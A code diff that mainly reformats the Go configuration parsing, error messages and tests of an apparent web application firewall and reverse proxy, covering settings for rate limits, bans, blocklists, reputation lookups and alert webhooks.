-		MaxRequestTime: env.millisecondsOrOff(
-			"SWRP_MAX_REQUEST_TIME_MS",
-			"60000",
-		),
-		MaxResponseTime: env.millisecondsOrOff(
-			"SWRP_MAX_RESPONSE_TIME_MS",
-			"1800000",
-		),
 	}
 
 	if env.err != nil {
@@ -202,9 +184,7 @@ func (e *environment) milliseconds(name, defaultValue string) time.Duration {
 
 // millisecondsOrOff reads a setting that is a whole number of milliseconds
 // above zero, or off, which is 0.
-func (e *environment) millisecondsOrOff(
+func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration {
-	name, defaultValue string,
-) time.Duration {
 	value := e.value(name, defaultValue)
 	if value == off {
 		return 0
@@ -239,8 +219,7 @@ func parseUpstreamURL(value string) (*url.URL, error) {
 	}
 
 	onlySchemeAndHost := (upstream.Scheme == "http" || upstream.Scheme == "https") &&
-		upstream.Hostname() != "" &&
+		upstream.Hostname() != "" && upstream.User == nil &&
-		upstream.User == nil &&
 		upstream.Opaque == "" &&
 		(upstream.Path == "" || upstream.Path == "/") &&
 		upstream.RawQuery == "" &&

internal/config/rproxy_test.go

@@ -50,28 +50,18 @@ func TestRProxyDefaults(t *testing.T) {
 	if cfg.ListenAddr != rproxyDefaultAddr ||
 		cfg.UpstreamURL.String() != rproxyDefaultApp ||
 		cfg.WAFBackend.String() != backendURL {
-		t.Errorf(
+		t.Errorf("addresses %q, %v, %v", cfg.ListenAddr, cfg.UpstreamURL, cfg.WAFBackend)
-			"addresses %q, %v, %v",
-			cfg.ListenAddr,
-			cfg.UpstreamURL,
-			cfg.WAFBackend,
-		)
 	}
 
 	if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
-		t.Errorf(
+		t.Errorf("timeout %v, default disposition %q", cfg.Timeout, cfg.DefaultDisposition)
-			"timeout %v, default disposition %q",
-			cfg.Timeout,
-			cfg.DefaultDisposition,
-		)
 	}
 
 	if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
 		t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
 	}
 
-	if cfg.MaxRequestTime != time.Minute ||
+	if cfg.MaxRequestTime != time.Minute || cfg.MaxResponseTime != 30*time.Minute {
-		cfg.MaxResponseTime != 30*time.Minute {
 		t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
 	}
 
@@ -110,12 +100,9 @@ func TestRProxySettingsAreRead(t *testing.T) {
 		t.Errorf("addresses %+v", cfg)
 	}
 
-	if cfg.Timeout != 150*time.Millisecond ||
+	if cfg.Timeout != 150*time.Millisecond || cfg.DefaultDisposition != "deny" ||
-		cfg.DefaultDisposition != "deny" ||
+		cfg.MaxRequestSize != 1024 || cfg.MaxResponseSize != 0 ||
-		cfg.MaxRequestSize != 1024 ||
+		cfg.MaxRequestTime != 0 || cfg.MaxResponseTime != 250*time.Millisecond {
-		cfg.MaxResponseSize != 0 ||
-		cfg.MaxRequestTime != 0 ||
-		cfg.MaxResponseTime != 250*time.Millisecond {
 		t.Errorf("limits %+v", cfg)
 	}
 }
@@ -160,9 +147,7 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
 		t.Run(tc.name+"="+tc.value, func(t *testing.T) {
 			t.Parallel()
 
-			_, err := rproxyConfig(
+			_, err := rproxyConfig(map[string]string{wafBackend: backendURL, tc.name: tc.value})
-				map[string]string{wafBackend: backendURL, tc.name: tc.value},
-			)
 			if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
 				t.Errorf("error %v, want one naming %s", err, tc.name)
 			}
@@ -173,9 +158,7 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
 func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
 	t.Parallel()
 
-	cfg, err := rproxyConfig(
+	cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL, rproxyTrusted: ""})
-		map[string]string{wafBackend: backendURL, rproxyTrusted: ""},
-	)
 	if err != nil {
 		t.Fatalf("settings: %v", err)
 	}
@@ -189,8 +172,7 @@ func TestRProxyNeedsItsBackend(t *testing.T) {
 	t.Parallel()
 
 	_, err := rproxyConfig(nil)
-	if err == nil ||
+	if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
-		!strings.HasPrefix(err.Error(), wafBackend+": is required") {
 		t.Errorf("error %v, want one saying %s is required", err, wafBackend)
 	}
 }
@@ -206,8 +188,7 @@ func TestRProxyReadsNoFile(t *testing.T) {
 	}
 
 	_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
-	if err == nil ||
+	if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
-		!strings.HasPrefix(err.Error(), wafBackend+": is required") {
 		t.Errorf("error %v, want %s still required", err, wafBackend)
 	}
 

internal/config/waf.go

@@ -344,16 +344,13 @@ var (
 		"is not a header name such as accept-language")
 	errHeaderTakenOut = errors.New(
 		"is taken out of every request by Go's HTTP server, so it can never " +
-			"be logged",
+			"be logged")
-	)
 	errOnBothLists     = errors.New("is in SWW_TAG_DENY too")
 	errNotLookupSource = errors.New("is not geojs, file or off")
 	errNeedsLookups    = errors.New("it needs each client looked up")
-	errNeedsDBPath     = errors.New(
+	errNeedsDBPath     = errors.New("it names the file to look clients up in")
-		"it names the file to look clients up in",
+	errDBPathUnused    = errors.New("only file reads it")
-	)
+	errOver64K         = errors.New(
-	errDBPathUnused = errors.New("only file reads it")
-	errOver64K      = errors.New(
 		"is more than 64K, the most waf gets of a body")
 	errNotDurationAboveZero = errors.New(
 		"is not a duration above zero, such as 1h or 7d")
@@ -386,20 +383,16 @@ var (
 	)
 	errSetupRuleID = errors.New(
 		"is from 900000 to 900999, the ids of the rules that set the Core Rule Set " +
-			"up and of sww's own, which cannot be switched off",
+			"up and of sww's own, which cannot be switched off")
-	)
 	errNotBoolean      = errors.New("is not true or false")
 	errNotLogRemoteURL = errors.New(
 		"is not syslog+udp, syslog+tcp or syslog+tls with a host and a port, " +
 			"and nothing more, such as syslog+tls://logs.example:6514",
 	)
 	errNoCertificate = errors.New("holds no PEM certificate")
-	errNotFacility   = errors.New(
+	errNotFacility   = errors.New("is not a syslog facility such as local0 or daemon")
-		"is not a syslog facility such as local0 or daemon",
+	errNotAppName    = errors.New(
-	)
+		"is not 1 to 48 printable ASCII characters without a space, such as blog")
-	errNotAppName = errors.New(
-		"is not 1 to 48 printable ASCII characters without a space, such as blog",
-	)
 	errNotWebhookURL = errors.New(
 		"is not an http or https URL without a user or a fragment, " +
 			"such as https://alerts.example/sww")
@@ -411,8 +404,7 @@ var (
 	)
 	errNotAlertEvent = errors.New(
 		"is not ban, permanent_ban, core_rule_set_match, anomaly, reputation_hit, " +
-			"source_failure or file_error",
+			"source_failure or file_error")
-	)
 	errNotNumberOrOff = errors.New(
 		"is not a whole number above zero, such as 60, or off",
 	)
@@ -428,10 +420,8 @@ var (
 		"is not an http or https URL without a user or a fragment, " +
 			"such as https://www.spamhaus.org/drop/drop.txt")
 	errInBlocklistURLs = errors.New("is in SWW_BLOCKLIST_URLS too")
-	errNotAnHourOrMore = errors.New(
+	errNotAnHourOrMore = errors.New("is not a duration of 1h or more, such as 24h")
-		"is not a duration of 1h or more, such as 24h",
+	errNotAction       = errors.New(
-	)
-	errNotAction = errors.New(
 		"is not deny, limit:<percent> such as limit:25, or log")
 	errNotZone = errors.New(
 		"is not a DNS zone such as dnsbl.dronebl.org",
@@ -451,10 +441,8 @@ var (
 		"is not an http or https URL without a user or a fragment, " +
 			"such as https://routewatch.example")
 	errNeedsLAPIKey  = errors.New("the engine answers no request without it")
-	errLAPIKeyUnused = errors.New(
+	errLAPIKeyUnused = errors.New("it is sent only to the engine at that URL")
-		"it is sent only to the engine at that URL",
+	errAnotherList   = errors.New(
-	)
-	errAnotherList = errors.New(
 		"is in SWW_BLOCKLIST_URLS or is SWW_ASN_LIMIT_PERCENT_URL too")
 	errFetchedOtherwise = errors.New("is in SWW_BLOCKLIST_URLS, is " +
 		"SWW_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too")
@@ -464,10 +452,8 @@ var (
 	errNotTagPercentItem = errors.New(
 		"is not a tag, : and a percentage, such as vpn:50 or asn=14061:25")
 	errNotTagPercent = errors.New("is not a percentage from 1 to 99")
-	errNotASNTag     = errors.New(
+	errNotASNTag     = errors.New("is not asn= and a number, such as asn=14061")
-		"is not asn= and a number, such as asn=14061",
+	errNotPrefixTag  = errors.New(
-	)
-	errNotPrefixTag = errors.New(
 		"is not prefix= and a netblock, such as prefix=192.0.2.0/24")
 	errExploitTag = errors.New(
 		"cannot lower limits: the rate limits count a request before its " +
@@ -479,8 +465,7 @@ var (
 			"asn= or country= tag, a dnsbl= tag of a zone in SWW_DNSBL_ZONES, " +
 			"a prefix= tag with SWW_ROUTEWATCH_URL set, abuseipdb with " +
 			"SWW_ABUSEIPDB_KEY set, or exploitsignature with rule files or the " +
-			"Core Rule Set on",
+			"Core Rule Set on")
-	)
 )
 
 // FromEnvironment reads the settings with lookupEnv, normally
@@ -495,158 +480,83 @@ func FromEnvironment(
 ) (*Config, error) {
 	env := &environment{lookupEnv: lookupEnv}
 	cfg := &Config{
-		ListenAddr:   env.address("SWW_LISTEN_ADDR"),
+		ListenAddr:           env.address("SWW_LISTEN_ADDR"),
-		InstanceName: env.instanceName(),
+		InstanceName:         env.instanceName(),
-		Observe:      env.observe("SWW_MODE", "enforce"),
+		Observe:              env.observe("SWW_MODE", "enforce"),
-		IPv6GroupPrefix: env.ipv6GroupPrefix(
+		IPv6GroupPrefix:      env.ipv6GroupPrefix("SWW_IPV6_GROUP_PREFIX", "64"),
-			"SWW_IPV6_GROUP_PREFIX",
+		MaxTrackedClients:    env.numberNotOff("SWW_MAX_TRACKED_CLIENTS", "20000"),
-			"64",
+		AllowNets:            env.netblocks("SWW_ALLOW_NETS", ""),
-		),
+		RateLimitExemptNets:  env.netblocks("SWW_RATE_LIMIT_EXEMPT_NETS", ""),
-		MaxTrackedClients: env.numberNotOff(
+		DenyNets:             env.netblocks("SWW_DENY_NETS", ""),
-			"SWW_MAX_TRACKED_CLIENTS",
+		RateLimitPerMinute:   env.count("SWW_RATE_LIMIT_PER_MINUTE", "120"),
-			"20000",
+		RateLimitPerHour:     env.count("SWW_RATE_LIMIT_PER_HOUR", "1500"),
-		),
+		RateLimitPerDay:      env.count("SWW_RATE_LIMIT_PER_DAY", "6000"),
-		AllowNets: env.netblocks("SWW_ALLOW_NETS", ""),
+		RateLimitExemptPaths: env.pathPrefixes("SWW_RATE_LIMIT_EXEMPT_PATHS", ""),
-		RateLimitExemptNets: env.netblocks(
+		BytesLimitPerMinute:  env.size("SWW_BYTES_LIMIT_PER_MINUTE", "off"),
-			"SWW_RATE_LIMIT_EXEMPT_NETS",
+		BytesLimitPerHour:    env.size("SWW_BYTES_LIMIT_PER_HOUR", "50G"),
-			"",
+		BytesLimitPerDay:     env.size("SWW_BYTES_LIMIT_PER_DAY", "100G"),
-		),
+		BytesCount:           env.bytesCount("SWW_BYTES_COUNT", "both"),
-		DenyNets:           env.netblocks("SWW_DENY_NETS", ""),
+		LookupSource:         env.lookupSource("SWW_LOOKUP_SOURCE", "geojs"),
-		RateLimitPerMinute: env.count("SWW_RATE_LIMIT_PER_MINUTE", "120"),
+		LookupDBPath:         env.value("SWW_LOOKUP_DB_PATH", ""),
-		RateLimitPerHour:   env.count("SWW_RATE_LIMIT_PER_HOUR", "1500"),
+		LookupTimeout:        env.durationNotOff("SWW_LOOKUP_TIMEOUT", "800ms"),
-		RateLimitPerDay:    env.count("SWW_RATE_LIMIT_PER_DAY", "6000"),
+		AddLookupHeaders:     env.boolean("SWW_ADD_LOOKUP_HEADERS", "false"),
-		RateLimitExemptPaths: env.pathPrefixes(
-			"SWW_RATE_LIMIT_EXEMPT_PATHS",
-			"",
-		),
-		BytesLimitPerMinute: env.size("SWW_BYTES_LIMIT_PER_MINUTE", "off"),
-		BytesLimitPerHour:   env.size("SWW_BYTES_LIMIT_PER_HOUR", "50G"),
-		BytesLimitPerDay:    env.size("SWW_BYTES_LIMIT_PER_DAY", "100G"),
-		BytesCount:          env.bytesCount("SWW_BYTES_COUNT", "both"),
-		LookupSource:        env.lookupSource("SWW_LOOKUP_SOURCE", "geojs"),
-		LookupDBPath:        env.value("SWW_LOOKUP_DB_PATH", ""),
-		LookupTimeout: env.durationNotOff(
-			"SWW_LOOKUP_TIMEOUT",
-			"800ms",
-		),
-		AddLookupHeaders: env.boolean("SWW_ADD_LOOKUP_HEADERS", "false"),
 		ExclusivelyAllowedCountries: env.countries(
 			"SWW_EXCLUSIVELY_ALLOWED_COUNTRIES", ""),
-		TagLists:        env.tagLists("SWW_TAG_LISTS"),
+		TagLists:             env.tagLists("SWW_TAG_LISTS"),
-		TagDeny:         env.tags("SWW_TAG_DENY"),
+		TagDeny:              env.tags("SWW_TAG_DENY"),
-		TagLimitPercent: env.tagPercents("SWW_TAG_LIMIT_PERCENT"),
+		TagLimitPercent:      env.tagPercents("SWW_TAG_LIMIT_PERCENT"),
-		RouteWatchURL:   env.routeWatchURL("SWW_ROUTEWATCH_URL"),
+		RouteWatchURL:        env.routeWatchURL("SWW_ROUTEWATCH_URL"),
-		ASNBytesPercent: env.percents(
+		ASNBytesPercent:      env.percents("SWW_ASN_BYTES_PERCENT", ParseASN),
-			"SWW_ASN_BYTES_PERCENT",
+		CountryBytesPercent:  env.percents("SWW_COUNTRY_BYTES_PERCENT", parseCountry),
-			ParseASN,
+		UnknownLimitPercent:  env.percent("SWW_UNKNOWN_LIMIT_PERCENT", "100"),
-		),
+		ASNLimitPercentURL:   env.listURL("SWW_ASN_LIMIT_PERCENT_URL"),
-		CountryBytesPercent: env.percents(
+		BlocklistURLs:        env.listURLs("SWW_BLOCKLIST_URLS"),
-			"SWW_COUNTRY_BYTES_PERCENT",
+		BlocklistRefresh:     env.refresh("SWW_BLOCKLIST_REFRESH", "24h"),
-			parseCountry,
+		DNSBLZones:           env.zones("SWW_DNSBL_ZONES"),
-		),
+		DNSBLResolver:        env.resolver("SWW_DNSBL_RESOLVER"),
-		UnknownLimitPercent: env.percent(
+		AbuseIPDBKey:         env.secret("SWW_ABUSEIPDB_KEY"),
-			"SWW_UNKNOWN_LIMIT_PERCENT",
+		AbuseIPDBMinScore:    env.percent("SWW_ABUSEIPDB_MIN_SCORE", "75"),
-			"100",
+		AbuseIPDBDailyBudget: env.numberNotOff("SWW_ABUSEIPDB_DAILY_BUDGET", "900"),
-		),
+		ReputationCacheTTL:   env.durationNotOff("SWW_REPUTATION_CACHE_TTL", "24h"),
-		ASNLimitPercentURL: env.listURL("SWW_ASN_LIMIT_PERCENT_URL"),
+		ReputationTimeout:    env.durationNotOff("SWW_REPUTATION_TIMEOUT", "2s"),
-		BlocklistURLs:      env.listURLs("SWW_BLOCKLIST_URLS"),
+		CrowdSecDecisionsURL: env.crowdSecDecisionsURL("SWW_CROWDSEC_LAPI_URL"),
-		BlocklistRefresh:   env.refresh("SWW_BLOCKLIST_REFRESH", "24h"),
+		CrowdSecKey:          env.secret("SWW_CROWDSEC_LAPI_KEY"),
-		DNSBLZones:         env.zones("SWW_DNSBL_ZONES"),
+		BanResponse:          env.banResponse("SWW_BAN_RESPONSE", "403"),
-		DNSBLResolver:      env.resolver("SWW_DNSBL_RESOLVER"),
+		LimitBanDuration:     env.durationNotOff("SWW_LIMIT_BAN_DURATION", "1h"),
-		AbuseIPDBKey:       env.secret("SWW_ABUSEIPDB_KEY"),
+		LimitBanRepeatWindow: env.durationNotOff("SWW_LIMIT_BAN_REPEAT_WINDOW", "24h"),
-		AbuseIPDBMinScore:  env.percent("SWW_ABUSEIPDB_MIN_SCORE", "75"),
+		MaxBanDuration:       env.durationNotOff("SWW_MAX_BAN_DURATION", "7d"),
-		AbuseIPDBDailyBudget: env.numberNotOff(
+		AttackBanDuration:    env.durationNotOff("SWW_ATTACK_BAN_DURATION", "7d"),
-			"SWW_ABUSEIPDB_DAILY_BUDGET",
+		MaxBans:              env.numberNotOff("SWW_MAX_BANS", "5000"),
-			"900",
+		BanScopeV4Prefix:     env.v4Prefix("SWW_BAN_SCOPE_V4_PREFIX", "32"),
-		),
+		StateDir:             env.absolutePath("SWW_STATE_DIR", "/var/lib/sww"),
-		ReputationCacheTTL: env.durationNotOff(
+		StateWriteDelay:      env.durationNotOff("SWW_STATE_WRITE_DELAY", "10s"),
-			"SWW_REPUTATION_CACHE_TTL",
+		StateCounterInterval: env.durationNotOff("SWW_STATE_COUNTER_INTERVAL", "15m"),
-			"24h",
+		CacheDir:             env.absolutePath("SWW_CACHE_DIR", "/var/cache/sww"),
-		),
+		LogRequestHeaders: env.headerNames("SWW_LOG_REQUEST_HEADERS",
-		ReputationTimeout: env.durationNotOff(
+			"accept,accept-language,accept-encoding,content-type,origin,range"),
-			"SWW_REPUTATION_TIMEOUT",
+		LogLevel:            env.logLevel("SWW_LOG_LEVEL", "info"),
-			"2s",
+		AdminToken:          env.token("SWW_ADMIN_TOKEN"),
-		),
+		MetricsToken:        env.token("SWW_METRICS_TOKEN"),
-		CrowdSecDecisionsURL: env.crowdSecDecisionsURL(
+		MetricsTopN:         env.numberNotOff("SWW_METRICS_TOP_N", "50"),
-			"SWW_CROWDSEC_LAPI_URL",
+		RulesDir:            env.value("SWW_RULES_DIR", "/etc/sww/rules.d"),
-		),
+		RulesEnabled:        env.boolean("SWW_RULES_ENABLED", "true"),
-		CrowdSecKey: env.secret("SWW_CROWDSEC_LAPI_KEY"),
+		WAFMode:             env.wafMode("SWW_WAF_MODE", WAFModeBlock),
-		BanResponse: env.banResponse("SWW_BAN_RESPONSE", "403"),
+		WAFParanoiaLevel:    env.paranoiaLevel("SWW_WAF_PARANOIA_LEVEL", "1"),
-		LimitBanDuration: env.durationNotOff(
+		WAFAnomalyThreshold: env.numberOrOff("SWW_WAF_ANOMALY_THRESHOLD", "5"),
-			"SWW_LIMIT_BAN_DURATION",
-			"1h",
-		),
-		LimitBanRepeatWindow: env.durationNotOff(
-			"SWW_LIMIT_BAN_REPEAT_WINDOW",
-			"24h",
-		),
-		MaxBanDuration: env.durationNotOff(
-			"SWW_MAX_BAN_DURATION",
-			"7d",
-		),
-		AttackBanDuration: env.durationNotOff(
-			"SWW_ATTACK_BAN_DURATION",
-			"7d",
-		),
-		MaxBans:          env.numberNotOff("SWW_MAX_BANS", "5000"),
-		BanScopeV4Prefix: env.v4Prefix("SWW_BAN_SCOPE_V4_PREFIX", "32"),
-		StateDir: env.absolutePath(
-			"SWW_STATE_DIR",
-			"/var/lib/sww",
-		),
-		StateWriteDelay: env.durationNotOff(
-			"SWW_STATE_WRITE_DELAY",
-			"10s",
-		),
-		StateCounterInterval: env.durationNotOff(
-			"SWW_STATE_COUNTER_INTERVAL",
-			"15m",
-		),
-		CacheDir: env.absolutePath(
-			"SWW_CACHE_DIR",
-			"/var/cache/sww",
-		),
-		LogRequestHeaders: env.headerNames(
-			"SWW_LOG_REQUEST_HEADERS",
-			"accept,accept-language,accept-encoding,content-type,origin,range",
-		),
-		LogLevel:     env.logLevel("SWW_LOG_LEVEL", "info"),
-		AdminToken:   env.token("SWW_ADMIN_TOKEN"),
-		MetricsToken: env.token("SWW_METRICS_TOKEN"),
-		MetricsTopN:  env.numberNotOff("SWW_METRICS_TOP_N", "50"),
-		RulesDir:     env.value("SWW_RULES_DIR", "/etc/sww/rules.d"),
-		RulesEnabled: env.boolean("SWW_RULES_ENABLED", "true"),
-		WAFMode:      env.wafMode("SWW_WAF_MODE", WAFModeBlock),
-		WAFParanoiaLevel: env.paranoiaLevel(
-			"SWW_WAF_PARANOIA_LEVEL",
-			"1",
-		),
-		WAFAnomalyThreshold: env.numberOrOff(
-			"SWW_WAF_ANOMALY_THRESHOLD",
-			"5",
-		),
 		WAFDisabledRules: env.ruleIDs("SWW_WAF_DISABLED_RULES",
 			"920340,920420,920440,920640,930130,930140"),
 		WAFExemptPaths: env.pathPrefixes("SWW_WAF_EXEMPT_PATHS", ""),
 		WAFBodyLimit:   env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
 		CoreRuleSetExclusionsFile: env.filePath(
 			"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
-		TrapPaths:           env.trapPaths("SWW_TRAP_PATHS"),
+		TrapPaths:            env.trapPaths("SWW_TRAP_PATHS"),
-		ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
+		ErrorBurstThreshold:  env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
-		LogRemoteURL:        env.logRemoteURL("SWW_LOG_REMOTE_URL"),
+		LogRemoteURL:         env.logRemoteURL("SWW_LOG_REMOTE_URL"),
-		LogRemoteTLSCAs:     env.certificates("SWW_LOG_REMOTE_TLS_CA_FILE"),
+		LogRemoteTLSCAs:      env.certificates("SWW_LOG_REMOTE_TLS_CA_FILE"),
-		LogRemoteBuffer: env.numberNotOff(
+		LogRemoteBuffer:      env.numberNotOff("SWW_LOG_REMOTE_BUFFER", "10000"),
-			"SWW_LOG_REMOTE_BUFFER",
+		LogRemoteFacility:    env.facility("SWW_LOG_REMOTE_FACILITY", "local0"),
-			"10000",
+		AlertWebhookURL:      env.webhookURL("SWW_ALERT_WEBHOOK_URL"),
-		),
+		AlertWebhookHeaders:  env.webhookHeaders("SWW_ALERT_WEBHOOK_HEADERS"),
-		LogRemoteFacility: env.facility(
-			"SWW_LOG_REMOTE_FACILITY",
-			"local0",
-		),
-		AlertWebhookURL: env.webhookURL("SWW_ALERT_WEBHOOK_URL"),
-		AlertWebhookHeaders: env.webhookHeaders(
-			"SWW_ALERT_WEBHOOK_HEADERS",
-		),
 		AlertSlackWebhookURL: env.webhookURL("SWW_ALERT_SLACK_WEBHOOK_URL"),
 		AlertNtfyURL:         env.webhookURL("SWW_ALERT_NTFY_URL"),
 		AlertNtfyToken:       env.secret("SWW_ALERT_NTFY_TOKEN"),
@@ -1014,10 +924,7 @@ func (e *environment) checkLookupDBPath(cfg *Config) {
 			"is file while SWW_LOOKUP_DB_PATH is unset; %w", errNeedsDBPath))
 	case cfg.LookupSource != fileSource && cfg.LookupDBPath != "":
 		e.check("SWW_LOOKUP_DB_PATH", fmt.Errorf(
-			"is set while SWW_LOOKUP_SOURCE is %s; %w",
+			"is set while SWW_LOOKUP_SOURCE is %s; %w", cfg.LookupSource, errDBPathUnused))
-			cfg.LookupSource,
-			errDBPathUnused,
-		))
 	}
 }
 
@@ -1066,11 +973,8 @@ func (e *environment) checkCountriesAndLookups(cfg *Config) {
 		{"SWW_ANOMALY_ASN_BYTES_PER_HOUR", cfg.AnomalyASN.BytesPerHour > 0},
 	} {
 		if setting.set {
-			e.check(
+			e.check(setting.name, fmt.Errorf("is set while SWW_LOOKUP_SOURCE is off; %w",
-				setting.name,
+				errNeedsLookups))
-				fmt.Errorf("is set while SWW_LOOKUP_SOURCE is off; %w",
-					errNeedsLookups),
-			)
 		}
 	}
 }
@@ -1093,21 +997,14 @@ func (e *environment) checkCrowdSec(cfg *Config) {
 	switch {
 	case decisionsURL != "" && cfg.CrowdSecKey == "":
 		e.check("SWW_CROWDSEC_LAPI_URL", fmt.Errorf(
-			"is set while SWW_CROWDSEC_LAPI_KEY is unset; %w",
+			"is set while SWW_CROWDSEC_LAPI_KEY is unset; %w", errNeedsLAPIKey))
-			errNeedsLAPIKey,
-		))
 	case decisionsURL == "" && cfg.CrowdSecKey != "":
 		e.check("SWW_CROWDSEC_LAPI_KEY", fmt.Errorf(
-			"is set while SWW_CROWDSEC_LAPI_URL is unset; %w",
+			"is set while SWW_CROWDSEC_LAPI_URL is unset; %w", errLAPIKeyUnused))
-			errLAPIKeyUnused,
-		))
 	case decisionsURL != "" && (slices.Contains(cfg.BlocklistURLs, decisionsURL) ||
 		decisionsURL == cfg.ASNLimitPercentURL):
-		e.check(
+		e.check("SWW_CROWDSEC_LAPI_URL", fmt.Errorf("gives the decision list %q, which %w",
-			"SWW_CROWDSEC_LAPI_URL",
+			decisionsURL, errAnotherList))
-			fmt.Errorf("gives the decision list %q, which %w",
-				decisionsURL, errAnotherList),
-		)
 	}
 }
 
@@ -1117,10 +1014,7 @@ func (e *environment) checkTagLists(cfg *Config) {
 	for _, list := range cfg.TagLists {
 		if slices.Contains(cfg.BlocklistURLs, list.URL) ||
 			list.URL == cfg.ASNLimitPercentURL || list.URL == cfg.CrowdSecDecisionsURL {
-			e.check(
+			e.check("SWW_TAG_LISTS", fmt.Errorf("%q %w", list.URL, errFetchedOtherwise))
-				"SWW_TAG_LISTS",
-				fmt.Errorf("%q %w", list.URL, errFetchedOtherwise),
-			)
 		}
 	}
 }
@@ -1159,8 +1053,7 @@ func requestCanGetTag(cfg *Config, tag string) bool {
 	}
 
 	if tag == ExploitSignatureTag {
-		coreRuleSetOn := cfg.WAFMode != WAFModeOff &&
+		coreRuleSetOn := cfg.WAFMode != WAFModeOff && cfg.WAFAnomalyThreshold != 0
-			cfg.WAFAnomalyThreshold != 0
 
 		return cfg.RulesEnabled || coreRuleSetOn
 	}
@@ -1175,17 +1068,15 @@ func requestCanGetTag(cfg *Config, tag string) bool {
 
 	zone, isZoneTag := strings.CutPrefix(tag, DNSBLTagPrefix)
 
-	return isZoneTag &&
+	return isZoneTag && slices.ContainsFunc(cfg.DNSBLZones, func(each string) bool {
-		slices.ContainsFunc(cfg.DNSBLZones, func(each string) bool {
+		return strings.ToLower(MaskZoneKey(each)) == zone
-			return strings.ToLower(MaskZoneKey(each)) == zone
+	})
-		})
 }
 
 // TagsNeedLookup reports whether SWW_TAG_DENY or SWW_TAG_LIMIT_PERCENT
 // names an asn= or country= tag.
 func (c *Config) TagsNeedLookup() bool {
-	return slices.ContainsFunc(c.TagDeny, isLookupTag) ||
+	return slices.ContainsFunc(c.TagDeny, isLookupTag) || tagLimitNeedsLookups(c)
-		tagLimitNeedsLookups(c)
 }
 
 // tagLimitNeedsLookups reports whether SWW_TAG_LIMIT_PERCENT names an asn=
@@ -1202,8 +1093,7 @@ func tagLimitNeedsLookups(cfg *Config) bool {
 
 // isLookupTag reports whether tag is an asn= or country= tag.
 func isLookupTag(tag string) bool {
-	return strings.HasPrefix(tag, ASNTagPrefix) ||
+	return strings.HasPrefix(tag, ASNTagPrefix) || strings.HasPrefix(tag, CountryTagPrefix)
-		strings.HasPrefix(tag, CountryTagPrefix)
 }
 
 // headerNames reads a setting that is a list of header names, and
@@ -1434,11 +1324,8 @@ func (e *environment) appName(
 	case set:
 		e.check(name, fmt.Errorf("%q %w", value, errNotAppName))
 	case sending:
-		e.check(
+		e.check(name, fmt.Errorf("is unset, and SWW_INSTANCE_NAME %q, its default, %w",
-			name,
+			value, errNotAppName))
-			fmt.Errorf("is unset, and SWW_INSTANCE_NAME %q, its default, %w",
-				value, errNotAppName),
-		)
 	}
 
 	return value
@@ -1454,9 +1341,7 @@ func (e *environment) checkInstanceNameForNtfy(
 	if ntfySet && strings.ContainsFunc(instanceName, unicode.IsControl) {
 		e.check("SWW_INSTANCE_NAME", fmt.Errorf(
 			"%q %w, and is sent to ntfy in a header while SWW_ALERT_NTFY_URL is set",
-			instanceName,
+			instanceName, errControlCharacter))
-			errControlCharacter,
-		))
 	}
 }
 
@@ -1903,11 +1788,7 @@ func parseTags(value string) ([]string, error) {
 		}
 
 		if slices.Contains(tags, tag) {
-			return nil, fmt.Errorf(
+			return nil, fmt.Errorf("%q %w", MaskZoneKey(item), errListedTwice)
-				"%q %w",
-				MaskZoneKey(item),
-				errListedTwice,
-			)
 		}
 
 		tags = append(tags, tag)
@@ -1972,11 +1853,7 @@ func parseTagPercents(value string) (map[string]int64, error) {
 	for _, item := range items {
 		colon := strings.LastIndex(item, ":")
 		if colon <= 0 {
-			return nil, fmt.Errorf(
+			return nil, fmt.Errorf("%q %w", MaskZoneKey(item), errNotTagPercentItem)
-				"%q %w",
-				MaskZoneKey(item),
-				errNotTagPercentItem,
-			)
 		}
 
 		tag, err := parseTag(item[:colon])
@@ -1986,11 +1863,7 @@ func parseTagPercents(value string) (map[string]int64, error) {
 
 		percent, err := strconv.ParseInt(item[colon+1:], 10, 64)
 		if err != nil || percent < 1 || percent > 99 {
-			return nil, fmt.Errorf(
+			return nil, fmt.Errorf("%q %w", MaskZoneKey(item[colon+1:]), errNotTagPercent)
-				"%q %w",
-				MaskZoneKey(item[colon+1:]),
-				errNotTagPercent,
-			)
 		}
 
 		if tag == ExploitSignatureTag {
@@ -2189,8 +2062,7 @@ func parseWebhookURL(value string) (*url.URL, string, error) {
 func isHTTPURL(u *url.URL) bool {
 	port, err := strconv.ParseUint(u.Port(), 10, 16)
 
-	return (u.Scheme == "http" || u.Scheme == "https") &&
+	return (u.Scheme == "http" || u.Scheme == "https") && u.Hostname() != "" &&
-		u.Hostname() != "" &&
 		(u.Port() == "" || (err == nil && port != 0)) &&
 		u.User == nil &&
 		u.Opaque == "" &&

internal/coreruleset/coreruleset.go

@@ -292,11 +292,9 @@ var errSwwRuleID = errors.New("an id of sww's own rules")
 // directive that removes or changes rules as it loads, such as
 // SecRuleRemoveById. The Core Rule Set's rules load after the file, so
 // the directive finds none of them.
-var errChangesNoRule = errors.New(
+var errChangesNoRule = errors.New("the Core Rule Set's rules load after the file; " +
-	"the Core Rule Set's rules load after the file; " +
+	"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
-		"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
+	"with a ctl exclusion")
-		"with a ctl exclusion",
-)
 
 // directivesIn returns the directives in text as Coraza reads them: it
 // skips blank lines and comment lines, and joins a line ending in \ to
@@ -340,27 +338,18 @@ func checkExclusions(exclusions string) error {
 			}
 
